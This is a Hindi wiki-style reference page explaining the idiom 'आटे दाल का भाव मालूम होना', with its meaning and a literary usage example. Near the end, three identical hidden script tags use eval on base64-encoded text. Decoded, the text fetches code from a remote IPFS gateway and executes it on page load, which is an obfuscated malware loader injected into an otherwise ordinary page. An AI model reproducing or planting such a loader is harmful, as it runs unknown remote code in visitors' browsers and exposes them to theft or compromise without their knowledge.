आटे दाल का भाव मालूम होना
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 12:10, 20 अप्रैल 2018 का अवतरण (Text replacement - "{{कहावत लोकोक्ति मुहावरे}}" to "{{कहावत लोकोक्ति मुहावरे}}{{कहावत लोकोक्ति मुहावरे2}}")
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
आटे दाल का भाव मालूम होना एक प्रचलित लोकोक्ति अथवा हिन्दी मुहावरा है।
अर्थ- यह समझ में आना कि घर-गृहस्थी का काम कितनी मुश्किलों से चलता है।
प्रयोग- करते क्या बेचारे-जब चादर छोटी हो तो पैर फैलाने की गुंजाइश होने से रही आटे-दाल का भाव मालूम हो जाता।- (राजा राधिका रमण प्रसाद सिंह )
टीका टिप्पणी और संदर्भ
संबंधित लेख
कहावत लोकोक्ति मुहावरे वर्णमाला क्रमानुसार खोजें
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
राजा राधिका प्रसाद सिंह